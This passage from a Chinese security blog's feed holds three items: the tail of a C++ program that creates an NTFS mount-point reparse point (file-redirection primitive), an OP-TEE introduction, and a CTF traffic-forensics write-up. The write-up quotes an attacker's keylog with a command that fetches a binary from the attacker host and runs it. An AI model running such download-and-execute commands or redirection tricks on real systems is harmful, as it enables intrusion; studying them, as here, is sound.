class="string">L&quot;\\srcDir&quot;</span>;</span><br><span class="line">WCHAR targetDir[] = <span class="string">L&quot;\\targetDir&quot;</span>;</span><br><span class="line"></span><br><span class="line">std::wstring wszSrcFullDir = wcsFullDir;</span><br><span class="line">wszSrcFullDir += srcDir;</span><br><span class="line">std::wstring wszTargetFullDir = wcsFullDir;</span><br><span class="line">wszTargetFullDir += targetDir;</span><br><span class="line"></span><br><span class="line">std::wcout &lt;&lt; <span class="string">L&quot;Current FullDir is &quot;</span> &lt;&lt; wcsFullDir &lt;&lt; std::endl;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="built_in">CreateMyDirectory</span>(wszSrcFullDir.<span class="built_in">c_str</span>()))</span><br><span class="line">&#123;</span><br><span class="line">std::wcout &lt;&lt; <span class="string">&quot;Create &quot;</span> &lt;&lt; wszSrcFullDir &lt;&lt; <span class="string">&quot;Failed!&quot;</span> &lt;&lt; std::endl;</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="built_in">CreateMyDirectory</span>(wszTargetFullDir.<span class="built_in">c_str</span>()))</span><br><span class="line">&#123;</span><br><span class="line">std::wcout &lt;&lt; <span class="string">&quot;Create &quot;</span> &lt;&lt; wszTargetFullDir &lt;&lt; <span class="string">&quot;Failed!&quot;</span> &lt;&lt; std::endl;</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[+] Now open directory as reparse point [+] \n&quot;</span>);</span><br><span class="line"><span class="comment">// return 0;</span></span><br><span class="line"></span><br><span class="line">HANDLE hSrc = <span class="built_in">OpenReparsePoint</span>(wszSrcFullDir.<span class="built_in">c_str</span>());</span><br><span class="line"><span class="comment">// HANDLE hFake = OpenReparsePoint(srcDir);</span></span><br><span class="line"><span class="keyword">if</span> (!hSrc)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[+] Open handle failed\n&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Here we build the target binary</span></span><br><span class="line">std::wstring target = <span class="built_in">FixupPath</span>(wszTargetFullDir);</span><br><span class="line"><span class="type">const</span> <span class="type">size_t</span> target_byte_size = target.<span class="built_in">size</span>() * <span class="number">2</span>;</span><br><span class="line"><span class="comment">// print name the symbolic show name,it&#x27;s not necessary</span></span><br><span class="line">std::wstring printname = <span class="string">L&quot;&quot;</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">size_t</span> printname_byte_size = printname.<span class="built_in">size</span>() * <span class="number">2</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">size_t</span> path_buffer_size = target_byte_size + printname_byte_size + <span class="number">4</span> + <span class="number">8</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">size_t</span> total_size = path_buffer_size + REPARSE_DATA_BUFFER_HEADER_LENGTH;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The ReparseDataLength = %d \n&quot;</span>, path_buffer_size);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The total_size = %d \n&quot;</span>, total_size);</span><br><span class="line"></span><br><span class="line">REPARSE_DATA_BUFFER* buffer = <span class="keyword">new</span> <span class="built_in">REPARSE_DATA_BUFFER</span>();</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> *WARNING!Here could not create the SYMBOLIC</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * If using whoami /all ,it will show the privilege SeCreateSymbolicLinkPrivilege has been disabled</span></span><br><span class="line"><span class="comment"> * so if here we couldn&#x27;t use code below:</span></span><br><span class="line"><span class="comment"> * but we could try to using the reparse point with Mount</span></span><br><span class="line"><span class="comment"> * it will reparse the directory as mount, so it can try to </span></span><br><span class="line"><span class="comment"> * work like Symbolic</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">// typed_buffer_ptr&lt;REPARSE_DATA_BUFFER&gt; buffer(total_size);</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">buffer-&gt;ReparseTag = IO_REPARSE_TAG_SYMLINK;</span></span><br><span class="line"><span class="comment">buffer-&gt;ReparseDataLength = static_cast&lt;USHORT&gt;(path_buffer_size);</span></span><br><span class="line"><span class="comment">buffer-&gt;Reserved = 0;</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">buffer-&gt;SymbolicLinkReparseBuffer.SubstituteNameOffset = 0;</span></span><br><span class="line"><span class="comment">buffer-&gt;SymbolicLinkReparseBuffer.SubstituteNameLength = static_cast&lt;USHORT&gt;(target_byte_size);</span></span><br><span class="line"><span class="comment">memcpy(buffer-&gt;SymbolicLinkReparseBuffer.PathBuffer, target.c_str(), target_byte_size + 2);</span></span><br><span class="line"><span class="comment">buffer-&gt;SymbolicLinkReparseBuffer.PrintNameOffset = static_cast&lt;USHORT&gt;(target_byte_size + 2);</span></span><br><span class="line"><span class="comment">buffer-&gt;SymbolicLinkReparseBuffer.PrintNameLength = static_cast&lt;USHORT&gt;(printname_byte_size);</span></span><br><span class="line"><span class="comment">memcpy(buffer-&gt;SymbolicLinkReparseBuffer.PathBuffer + target.size() + 1, printname.c_str(), printname_byte_size + 2);</span></span><br><span class="line"><span class="comment">buffer-&gt;SymbolicLinkReparseBuffer.Flags = SYMLINK_FLAG_RELATIVE;</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">buffer-&gt;ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;</span><br><span class="line">buffer-&gt;ReparseDataLength = <span class="built_in">static_cast</span>&lt;USHORT&gt;(path_buffer_size);</span><br><span class="line">buffer-&gt;Reserved = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">buffer-&gt;MountPointReparseBuffer.SubstituteNameOffset = <span class="number">0</span>;</span><br><span class="line">buffer-&gt;MountPointReparseBuffer.SubstituteNameLength = <span class="built_in">static_cast</span>&lt;USHORT&gt;(target_byte_size);</span><br><span class="line"><span class="built_in">memcpy</span>(buffer-&gt;MountPointReparseBuffer.PathBuffer, target.<span class="built_in">c_str</span>(), target_byte_size + <span class="number">2</span>);</span><br><span class="line">buffer-&gt;MountPointReparseBuffer.PrintNameOffset = <span class="built_in">static_cast</span>&lt;USHORT&gt;(target_byte_size + <span class="number">2</span>);</span><br><span class="line">buffer-&gt;MountPointReparseBuffer.PrintNameLength = <span class="built_in">static_cast</span>&lt;USHORT&gt;(printname_byte_size);</span><br><span class="line"><span class="built_in">memcpy</span>(buffer-&gt;MountPointReparseBuffer.PathBuffer + target.<span class="built_in">size</span>() + <span class="number">1</span>, printname.<span class="built_in">c_str</span>(), printname_byte_size + <span class="number">2</span>);</span><br><span class="line"><span class="comment">// Next, send IOCTL to the NTFS file handle to make it symbolic </span></span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">SetReparsePoint</span>(hSrc, buffer, total_size))</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Set Reparse Point failed with error :%d\n&quot;</span>, <span class="built_in">GetLastError</span>());</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Now the src will become the target symbolic, we will try to create</span></span><br><span class="line"><span class="comment">// file at src path. If success, the file will appear at target file path</span></span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[+] Create Symbolic success! now try create one file at src path [+]&quot;</span>);</span><br><span class="line"></span><br><span class="line">std::wstring TargetFilePath = wszSrcFullDir;</span><br><span class="line">TargetFilePath += <span class="string">L&quot;\\TestFile&quot;</span>;</span><br><span class="line">HANDLE hFile = <span class="built_in">CreateFile</span>(</span><br><span class="line">TargetFilePath.<span class="built_in">c_str</span>(),</span><br><span class="line">GENERIC_READ | GENERIC_WRITE,</span><br><span class="line"><span class="number">0</span>, <span class="number">0</span>,</span><br><span class="line">CREATE_NEW,</span><br><span class="line">FILE_ATTRIBUTE_NORMAL,</span><br><span class="line"><span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (hFile == INVALID_HANDLE_VALUE)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Create file failed with error code:%d\n&quot;</span>,<span class="built_in">GetLastError</span>());</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">std::string content = <span class="string">&quot;Success!&quot;</span>;</span><br><span class="line">DWORD dwByteWrite = <span class="number">0</span>;</span><br><span class="line"><span class="built_in">WriteFile</span>(hFile,</span><br><span class="line">content.<span class="built_in">c_str</span>(),</span><br><span class="line">content.<span class="built_in">size</span>(),</span><br><span class="line">&amp;dwByteWrite,</span><br><span class="line"><span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">CloseHandle</span>(hFile);</span><br><span class="line"></span><br><span class="line"><span class="comment">// succcess</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[+] Success! enter any character to delete symbolic\n&quot;</span>);</span><br><span class="line"><span class="type">char</span> c = <span class="built_in">getchar</span>();</span><br><span class="line"></span><br><span class="line">buffer-&gt;ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;</span><br><span class="line">buffer-&gt;ReparseDataLength = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">bool</span> ret = <span class="literal">false</span>;</span><br><span class="line">DWORD dwIOCTLOutSize = <span class="number">0</span>;</span><br><span class="line">ret = <span class="built_in">DeviceIoControl</span>(hSrc, FSCTL_DELETE_REPARSE_POINT, buffer,</span><br><span class="line">REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, <span class="literal">NULL</span>, <span class="literal">NULL</span>, &amp;dwIOCTLOutSize, <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (!ret)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Reset the Reparse Point failed with error:%d\n&quot;</span>, <span class="built_in">GetLastError</span>());</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">CloseHandle</span>(hSrc);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;[+] Reparse Success!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;感觉很久都没写文章了，以后还是要养成记录学习过程的习惯，这样才不会老摸鱼。。。&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
    <category term="Printer" scheme="https://showlinkroom.me/tags/Printer/"/>
    
  </entry>
  
  <entry>
    <title>RWCTF-OPTEE</title>
    <link href="https://showlinkroom.me/2022/01/26/RWCTF-OPTEE/"/>
    <id>https://showlinkroom.me/2022/01/26/RWCTF-OPTEE/</id>
    <published>2022-01-25T23:46:58.000Z</published>
    <updated>2022-02-09T14:10:08.338Z</updated>
    
    <content type="html"><![CDATA[<p>好久没有写博客，最近打了一些有趣得比赛，来记录一下相关得学习内容</p><h2 id="more-rwctf-optee"><span id="more"></span><br>RWCTF-OPTEE</h2><p>这次比赛出了两个关于OPTEE得题目，后来查了一下也是一个手机上用的比较常见得概念了，为了能够更好的做题目，这边首先先简单的对这个玩意儿进行简单的学习:</p><h2 id="关于tee">关于TEE</h2><blockquote><p>运行 Linux 或 Android 的典型嵌入式系统在内核和用户空间包中都存在大量安全漏洞。漏洞可能允许攻击者访问敏感信息和/或插入恶意软件。TEE 增加了一个额外的安全层，其中运行在 TEE 上的代码/数据不能从正常的世界操作系统（例如：Linux/Android）访问/篡改。在 TEE（安全世界）上运行的软件通常涉及一个面向安全的微型操作系统（例如：OP-TEE OS）以及受信任的应用程序。受信任的应用程序旨在处理机密信息，例如信用卡 PIN、私钥、客户数据、受 DRM 保护的媒体等。</p></blockquote><blockquote><p>在硬件方面，基于 ARM 的处理器使用 TrustZone 技术实现 TEE。TrustZone 使单个物理处理器内核能够安全有效地执行来自正常世界（如 Linux/Android 等富操作系统）和安全世界（如 OP-TEE 等安全操作系统）的代码。这允许高性能安全软件与正常的世界操作环境一起运行。TrustZone 实现了基于“状态”的内存和 IO 保护。即当处理器在安全状态/上下文（安全世界）中运行时，它对系统有不同的看法，并且可以访问通常无法从非安全状态/上下文（正常世界）访问的内存/外围设备. 当更改当前运行的虚拟处理器时，两个虚拟处理器上下文通过监控模式切换。</p></blockquote><p><img src="/2022/01/26/RWCTF-OPTEE/optee01.jpg" alt=""></p><p>对于运行环境（软件层面）而言，此时会同时运行两种操作系统。我们常用的操作系统们被称为<code>Rich Execution Environment (REE)</code>富执行环境，而安全运行环境则称为<code>Trusted Execution Environment (TEE)</code> 可受信任的执行环境。这两类环境都会以<strong>特权模式</strong>运行，而这上面的程序都是以用户模式的形式运行。当他们需要交互的时候，就会使用系统提供的API进行相互的调用。</p><p><img src="/2022/01/26/RWCTF-OPTEE/optee02.jpg" alt=""></p><p>TEE 需要软件和硬件（内置于处理器中）支持。这边主要就是介绍其中得软件实现——OPTEE</p><h2 id="optee介绍">OPTEE介绍</h2><p>在现代得计算机场景下（尤其是手机）有可能会出现如下得场景：手机可能存储了很重要得个人信息，比如说个人得指纹，虹膜等等重要数据。这类数据得安全性和普通数据不能相提并论。为了解决这个问题，在这类机器上可以安装两个不同得OS：我们在同一个CPU上运行两个OS，其中一个OS只负责一些安全存储或者计算的操作，比如存储我们的指纹数据等。另一个OS就是我们平时用的OS，比如安卓系统，对于这个OS来说，安全OS是不可见的，所以根本没有权限获取到安全OS中的隐私数据。<br><img src="/2022/01/26/RWCTF-OPTEE/optee00.png" alt=""></p><p><strong>OP-TEE，open source project Trusted Execution Environment (TEE)</strong>， 开源可信执行环境。<code>TEE</code>与<code>Rich Execution Environment (REE)</code>相对应。<code>REE</code>中运行的是<code>non-secure OS</code>，我们所看到的系统，安卓，Linux系统等都运行在REE。TEE中运行的是<code>secure OS</code>，他需要<code>Arm TrustZone</code>技术的支持，依赖硬件设计，REE中的系统和应用是无法直接访问TEE中的资源的，只能通过TEE提供的接口获取一个结果，其间的运算和存储等操作对REE中的系统和应用都是不可见的，从而来保证安全性。</p><p>OPTEE本质上是在模仿进程间的交互，两个OS之间也需要交互，因此我们需要一种机制来访问安全OS的服务，也就是CA/TA这种调用机制。</p><h2 id="参考网站">参考网站</h2><p><a href="https://timesys.com/security/trusted-software-development-op-tee/">https://timesys.com/security/trusted-software-development-op-tee/</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;好久没有写博客，最近打了一些有趣得比赛，来记录一下相关得学习内容&lt;/p&gt;
&lt;h2 id=&quot;more-rwctf-optee&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Reverse" scheme="https://showlinkroom.me/categories/Reverse/"/>
    
    
    <category term="OPTEE" scheme="https://showlinkroom.me/tags/OPTEE/"/>
    
    <category term="CTF" scheme="https://showlinkroom.me/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>Misc-SecTraffice writeup</title>
    <link href="https://showlinkroom.me/2021/04/24/Misc-SecTraffice-writeup/"/>
    <id>https://showlinkroom.me/2021/04/24/Misc-SecTraffice-writeup/</id>
    <published>2021-04-24T01:04:43.000Z</published>
    <updated>2021-04-24T06:59:19.929Z</updated>
    
    <content type="html"><![CDATA[<p>有一阵子没有玩CTF，后来有一个师傅问了一下这个题目，突然就来了兴趣，于是好好研究了一下这个题目，发现这个题目质量确实可以，于是写了一份WP来记录一哈</p><blockquote><p>本文首发于春秋伽玛 <a href="https://mp.weixin.qq.com/s/sPgcxqG6gwjvgEJzWHC4KQ">https://mp.weixin.qq.com/s/sPgcxqG6gwjvgEJzWHC4KQ</a></p></blockquote><span id="more"></span><h3 id="初步分析">初步分析</h3><p>文件下载下来，可能看到一个叫做keylog的文件和一个pcap包，pcap包中数据流分成三个stream，分别包含如下内容</p><ul><li>第一个stream是一个ssh链接</li><li>第二个是一个http传输的一个叫做bash的文件</li><li>第三个完全是一个加密的流量，看不出来具体内容</li></ul><p>第一个stream表示ssh链接，不过ssh通信的内容肯定是加密的:<br><img src="/2021/04/24/Misc-SecTraffice-writeup/flow0.png" alt=""></p><p>第二个stream是一个http请求包，似乎下载了文件<br><img src="/2021/04/24/Misc-SecTraffice-writeup/flow1.png" alt=""></p><p>第三个stream看不太懂发生了什么<br><img src="/2021/04/24/Misc-SecTraffice-writeup/flow2.png" alt=""></p><p>而keylog文件里面的内容如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">wget http://192.168.1.5:9999/bash</span><br><span class="line">chmod +x bash</span><br><span class="line">./bash Op0VPMasjuNZvdas3e5igGad</span><br></pre></td></tr></table></figure><p>首先我们分析题目，题目提到说，这是一个<strong>攻击者通过弱口令进入了受害者机器然后进行操作</strong>为背景的题目。所以这边的流量和keylog可以理解成是针对这么个场景进行分析的，那么此时，结合流量包和keylog，我们能够分析出如下条件:</p><ul><li>从题目描述可知，攻击者使用ssh登陆上了被害者的电脑，那么此时keylog记录的是<strong>攻击者的IP</strong>，也就是192.168.1.5</li><li>从流量包可知，另一个通信的IP是192.168.1.4，所以这个是<strong>受害者的IP</strong></li><li>ssh流量记录的<strong>正是攻击者用ssh连接到受害者的流量，敲下了keylog中记录的数据的那段记录</strong></li></ul><p>于是整个题目大致的流程如下:<br><img src="/2021/04/24/Misc-SecTraffice-writeup/hacker.png" alt=""></p><p>了解到这些初步信息之后，我们再对题目给出的信息进行进一步的分析</p><h3 id="stream-0：ssh与侧信道">stream 0：ssh与侧信道</h3><p>结合题目提示到的ssh侧信道，可以找到一个叫做<code>packetStrider</code>的脚本，能够通过输入传输的时间，进行测信道分析。其中能够比较明显的区分<strong>Enter、Delete、普通字符输入</strong>这些。我们使用工具简单分析:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br></pre></td><td class="code"><pre><span class="line">┏━━━━ Reporting results for stream 0</span><br><span class="line">┃</span><br><span class="line">┃ Stream 0 of pcap &#x27;../../sectraffic.pcap&#x27;</span><br><span class="line">┃ 216 packets in total, first at 2021-03-21 15:47:54</span><br><span class="line">┃ 192.168.1.5:57535 -&gt;  192.168.1.4:22</span><br><span class="line">┃ Client Proto : SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7</span><br><span class="line">┃ hassh        : 0df0d56bb50c6b2426d8d40234bf1826</span><br><span class="line">┃ Server Proto : SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10</span><br><span class="line">┃ hasshServer  : d43d91bc39d5aaed819ad9f6b57b7348</span><br><span class="line">┃ Summary of findings:</span><br><span class="line">┃        6 Forward SSH login/init events</span><br><span class="line">┃        90 Forward keystroke related events</span><br><span class="line">┃ Detailed Events:</span><br><span class="line">┃     packet     time(s)   delta(s)   Direction Indicator      Bytes   Notes</span><br><span class="line">┃   -----------------------------------------------------------------------</span><br><span class="line">┃       0         0         0         packet0   packet0          40</span><br><span class="line">┃       5         0.052     0.052     forward   key offered     364</span><br><span class="line">┃       6         1.22      1.168     forward   key accepted     16    Delta suggests hostkey was NOT in known_hosts, user manually accepted it</span><br><span class="line">┃       10        1.275     0.055     forward   login prompt     52</span><br><span class="line">┃       11        1.279     0.004     forward   login failure   372    Delta suggests Certificate Auth, pwd to cert null or non interactive</span><br><span class="line">┃       12        1.28      0.001     forward   login prompt     52</span><br><span class="line">┃       13        3.573     2.293     forward   login success    84    &lt; 8 char Password, entered interactively by human</span><br><span class="line">┃       20        3.928     0.355     forward   agent fwding    520    !! -A option used. Client private key sharing via SSH Agent Forwarding</span><br><span class="line">┃       23        5.416     1.488     forward   keystroke        36</span><br><span class="line">┃       25        5.723     0.307     forward   keystroke        36</span><br><span class="line">┃       27        6.132     0.409     forward   keystroke        36</span><br><span class="line">┃       29        6.443     0.311     forward   keystroke        36</span><br><span class="line">┃       31        6.952     0.508     forward   keystroke        36</span><br><span class="line">┃       33        7.361     0.41      forward   keystroke        36</span><br><span class="line">┃       35        8.085     0.724     forward   keystroke        36</span><br><span class="line">┃       37        8.385     0.301     forward   keystroke        36</span><br><span class="line">┃       39        8.897     0.511     forward   keystroke        36</span><br><span class="line">┃       41        9.716     0.819     forward   keystroke        36</span><br><span class="line">┃       43        10.433    0.717     forward   keystroke        36</span><br><span class="line">┃       45        10.842    0.409     forward   keystroke        36</span><br><span class="line">┃       47        12.188    1.346     forward   keystroke        36</span><br><span class="line">┃       49        12.589    0.401     forward   keystroke        36</span><br><span class="line">┃       51        13.268    0.679     forward   keystroke        36</span><br><span class="line">┃       53        13.709    0.441     forward   keystroke        36</span><br><span class="line">┃       55        14.221    0.512     forward   keystroke        36</span><br><span class="line">┃       57        14.738    0.517     forward   keystroke        36</span><br><span class="line">┃       59        15.149    0.411     forward   keystroke        36</span><br><span class="line">┃       61        15.859    0.71      forward   keystroke        36</span><br><span class="line">┃       63        16.473    0.614     forward   keystroke        36</span><br><span class="line">┃       65        16.89     0.416     forward   keystroke        36</span><br><span class="line">┃       67        17.702    0.812     forward   keystroke        36</span><br><span class="line">┃       69        18.475    0.773     forward   keystroke        36</span><br><span class="line">┃       71        19.238    0.762     forward   keystroke        36</span><br><span class="line">┃       73        19.852    0.614     forward   keystroke        36</span><br><span class="line">┃       75        20.365    0.513     forward   keystroke        36</span><br><span class="line">┃       77        20.885    0.52      forward   keystroke        36</span><br><span class="line">┃       79        21.498    0.613     forward   keystroke        36</span><br><span class="line">┃       81        22.207    0.709     forward   keystroke        36</span><br><span class="line">┃       83        22.719    0.512     forward   keystroke        36</span><br><span class="line">┃       85        23.231    0.512     forward   keystroke        36</span><br><span class="line">┃       87        23.845    0.614     forward   keystroke        36</span><br><span class="line">┃       99        25.586    1.741     forward   _┃ ENTER        1080</span><br><span class="line">┃       100       26.815    1.229     forward   keystroke        36</span><br><span class="line">┃       102       27.224    0.41      forward   keystroke        36</span><br><span class="line">┃       104       27.736    0.512     forward   keystroke        36</span><br><span class="line">┃       106       28.248    0.512     forward   keystroke        36</span><br><span class="line">┃       108       29.075    0.827     forward   keystroke        36</span><br><span class="line">┃       110       29.483    0.408     forward   keystroke        36</span><br><span class="line">┃       112       30.296    0.813     forward   keystroke        36</span><br><span class="line">┃       114       30.808    0.512     forward   keystroke        36</span><br><span class="line">┃       116       31.525    0.717     forward   keystroke        36</span><br><span class="line">┃       118       32.753    1.228     forward   keystroke        36</span><br><span class="line">┃       120       33.267    0.514     forward   keystroke        36</span><br><span class="line">┃       122       33.631    0.364     forward   keystroke        36</span><br><span class="line">┃       124       34.186    0.555     forward   keystroke        36</span><br><span class="line">┃       128       35.722    1.536     forward   _┃ ENTER        100</span><br><span class="line">┃       129       38.288    2.566     forward   keystroke        36</span><br><span class="line">┃       131       38.901    0.613     forward   keystroke        36</span><br><span class="line">┃       133       39.518    0.617     forward   keystroke        36</span><br><span class="line">┃       135       40.131    0.613     forward   keystroke        36</span><br><span class="line">┃       137       40.583    0.452     forward   keystroke        36</span><br><span class="line">┃       139       41.876    1.293     forward   keystroke        36</span><br><span class="line">┃       141       43.412    1.536     forward   keystroke        36</span><br><span class="line">┃       143       47.094    3.682     forward   keystroke        36</span><br><span class="line">┃       145       49.041    1.948     forward   keystroke        36</span><br><span class="line">┃       147       52.207    3.165     forward   &lt; delete/ac      36</span><br><span class="line">┃       149       53.034    0.827     forward   &lt; delete/ac      36</span><br><span class="line">┃       151       54.255    1.221     forward   keystroke        36</span><br><span class="line">┃       153       56.116    1.862     forward   keystroke        36</span><br><span class="line">┃       155       57.436    1.32      forward   keystroke        36</span><br><span class="line">┃       157       59.175    1.739     forward   keystroke        36</span><br><span class="line">┃       159       60.603    1.428     forward   keystroke        36</span><br><span class="line">┃       161       61.222    0.619     forward   keystroke        36</span><br><span class="line">┃       163       62.656    1.434     forward   &lt; delete/ac      36</span><br><span class="line">┃       165       63.367    0.711     forward   &lt; delete/ac      36</span><br><span class="line">┃       167       64.902    1.536     forward   keystroke        36</span><br><span class="line">┃       169       65.825    0.922     forward   keystroke        36</span><br><span class="line">┃       171       67.156    1.331     forward   keystroke        36</span><br><span class="line">┃       173       68.692    1.536     forward   keystroke        36</span><br><span class="line">┃       175       71.053    2.362     forward   keystroke        36</span><br><span class="line">┃       177       73.001    1.948     forward   keystroke        36</span><br><span class="line">┃       179       73.606    0.604     forward   keystroke        36</span><br><span class="line">┃       181       74.937    1.331     forward   &lt; delete/ac      36</span><br><span class="line">┃       183       75.762    0.825     forward   &lt; delete/ac      36</span><br><span class="line">┃       185       76.584    0.822     forward   &lt; delete/ac      36</span><br><span class="line">┃       187       77.803    1.22      forward   keystroke        36</span><br><span class="line">┃       189       78.948    1.144     forward   keystroke        36</span><br><span class="line">┃       191       79.954    1.007     forward   keystroke        36</span><br><span class="line">┃       193       81.183    1.229     forward   keystroke        36</span><br><span class="line">┃       195       82.309    1.125     forward   &lt; delete/ac      36</span><br><span class="line">┃       197       83.538    1.229     forward   keystroke        36</span><br><span class="line">┃       199       84.766    1.228     forward   keystroke        36</span><br><span class="line">┃       201       86.097    1.331     forward   &lt; delete/ac      36</span><br><span class="line">┃       203       87.542    1.445     forward   keystroke        36</span><br><span class="line">┃       205       88.564    1.022     forward   keystroke        36</span><br><span class="line">┃       207       89.476    0.913     forward   keystroke        36</span><br><span class="line">┃       211       91.728    2.252     forward   _┃ ENTER        100</span><br><span class="line">┃</span><br><span class="line">┃</span><br><span class="line">┗━━━━ End of Analysis for stream 0</span><br><span class="line"></span><br><span class="line">... packet-strider-ssh complete</span><br></pre></td></tr></table></figure><p>通过比对输入的字符的个数，可以验证ssh中的流量正是提供的keylog记录的数据。<br>然而比较有趣的是，<strong>第三行的输入似乎有过几次delete的痕迹，而delete从keylog中似乎没有体现出来</strong>。根据此时提供的工具，我们可以尝试还原攻击者链接ssh后进行的输入，可以得到如下的结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">wget http://192.168.1.5:9999/bash</span><br><span class="line">chmod +x bash</span><br><span class="line">./bash 0VPMjuNZs3eiGad</span><br></pre></td></tr></table></figure><h3 id="stream-1：bash的逆向">stream 1：bash的逆向</h3><p>由于stream1中是一个http请求，我们可以尝试讲文件进行dump<br><img src="/2021/04/24/Misc-SecTraffice-writeup/elf.png" 